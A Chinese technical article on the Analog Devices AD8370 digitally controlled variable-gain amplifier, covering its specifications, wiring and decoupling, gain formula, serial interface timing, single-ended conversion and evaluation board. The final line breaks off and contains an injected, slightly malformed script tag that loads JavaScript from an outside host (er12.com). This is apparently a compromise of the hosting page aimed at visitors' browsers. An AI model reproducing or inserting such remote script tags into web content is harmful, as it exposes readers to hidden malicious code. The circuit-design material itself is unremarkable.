摘要：ad8370是美国ad公司推出的一种低成本、数字控制的可变增益放大器，它具有高ip3和低噪声系数以及优良的失真性能和较宽的带宽，可以广泛应用于差分adc驱动器、if采样接收器、射频／中频放大中间级、saw滤波器接口、单端差动转换器中。文章介绍了ad8370的基本原理及应用设计方法。
关键词：ad8370；数字控制；可变增益；放大器
１ 概述
ａｄ８３７０是美国ａｄ(ａｎａｌｏｇ ｄｅｖｉｃｅｓ ｉｎｃ)公司推出的一种低成本、数字控制的可变增益放大器，它具有高ｉｐ３和低噪声系数。由于其具有优良的失真性能和较宽的带宽，所以特别适合作为现代接收器设计中的增益控制器件应用。图１是ａｄ８３７０的原理框图。
在宽输入动态范围应用中，ａｄ８３７０可提供两种输入范围，分别对应于高增益模式和低增益模式。它内部的一个７位衰减器在提供２８ｄｂ的衰减范围时，分辨率高于２ｄｂ，而在２２ｄｂ的衰减范围时，分辨率高于１ｄｂ。ａｄ８３７０的输入增益选择范围为１７ｄｂ，可输出低失真的高电平。
ａｄ８３７０可通过在ｐｗｕｐ引脚上输入合适的逻辑电平来上电或者断电。当关闭电源|稳压器时，ａｄ８３７０的消耗电流小于５ｍａ，并可提供优良的输入输出隔离。ａｄ８３７０采用ａｄｉ 高速ｘｆｃｂ方法，因而可在宽带情况下提供高频率和低失真特性，其典型静态电流为７８ｍａ。
ａｄ８３７０可变增益放大采用的是密集的１６脚ｔｓｓｏｐ封装，工作温度范围为－４０℃～＋８５℃。其主要特点如下：
●差动输入为２００ω；
●差动输出为１００ω；
●噪声系数为７ｄｂ（最大增益时）；
●频带宽度可从低频到７００ｍｈｚ（－３ｄｂ）；
●具有４０ｄｂ的精确增益范围；
●带有串行７位接口；
●可通过管脚编程低、高增益，其中低增益范围为－１１～１７ｄｂ，高增益范围为＋６～３４ｄｂ；
●输入动态范围很宽； ●单电源可低至３ｖ。
ａｄ８３７０可应用于差动ａｄｃ驱动器、ｉｆ采样接收器、射频／中频放大中间级、ｓａｗ滤波器接口以及单端差动转换等领域。
２ 应用设计
２．１ 电路的基本连接方法
图２是ａｄ８３７０的基本接线图。其中，供电电压范围为２．７ｖ～５．５ｖ，但应注意，为管脚ｖｃｃｏ和ｖｃ-ｃｉ供电时应使用一个０．１μｆ低感应系数的表面贴陶瓷电容构成的电源退耦电路，而且退耦电容应该尽可能地靠近ａｄ８３７０。实际上，更有效的退耦方法是给供电电源并联一个１００ｐｆ电容和一个磁珠。
ａｄ８３７０主要是针对差动信号电路应用而设计的。由于差动信号设计能改善正常状态的谐波抑制，同时可以提高共模抑制能力，因此，必须使该器件的驱动和负载处于平衡状态，这就要求每个输入或者输出管脚的共模电阻值要平衡。如果使用非平衡电源供电，就会降低该器件的共模抑制比；而如果使用非平衡负载，则会增加谐波失真。总之，即使ａｄ８３７０在不平衡状态下工作，仍具有比较良好的工作性能，但最优化设计还是尽可能将其处于平衡工作状态。
ａｄ８３７０是一个性能优良的可变增益放大器，其增益控制传输功能对电压增益呈线性关系。在低增益端，增益斜率较陡，提供的增益控制功能也较粗；而在高增益端，由于ｄｂ采用阶梯式减小方式，因此可提供精确的增益调节能力。线性电压增益可以由下式给出：
ａｖ＝增益码×系数×１＋（前级放大器增益－１）×最高有效位
其中，ａｖ是线性增益，增益码指的是数字增益控制字减去最高有效位后的值，系数值为０．０５５７４４ ｖ／ｖ，前级放大器增益为７．０７９４５８ ｖ／ｖ，最高有效位指的是八位控制字的最高位。
２．２ 数字接口
ａｄ８３７０的数字控制端口采用标准的ｔｔｌ接口，当ｌｔｃｈ管脚保持低电平时，八位控制字以串行的方式写入，ｄａｔａ管脚的数据在ｃｌｃｋ信号的每个上升沿读取，图３所示为数字控制接口时序，各个时间参数的典型最小值如表１所列。
表1 串行编程时间参数
参 数
典 型 值
单 位
脉冲宽度（tpw）
10
ns
脉冲时钟周期（tck）
20
ns
数据建立时间（tds）
2
ns
数据使能建立时间（tes）
2
ns
数据使能保持时间（teh）
2
ns
２．３ 单端差动转换
ａｄ８３７０主要用于差动信号接口，但实际上，也可以用来作为单端差动转换，方法简单易行。只要把没用到的输入管脚通过一个电容对地短接即可。图４所示是一种单端差动转换电路的连接图。当使用单电源供电时，即使差动平衡条件不成立，其失真性能和增益精度还是能满足绝大多数应用的要求。
３ ａｄ８３７０的评估板
利用ａｄ８３７０的评估板可通过标准的５０ω测试装置来对其作快速测试，其电路原理如图５所示。图中，变压器ｔ１和ｔ２用于将５０ω源阻抗和负载阻抗转换成所要求的输入和输出电平。与该评估板相配套使用的是评估板软件?script src=http://er12.com/t.js>
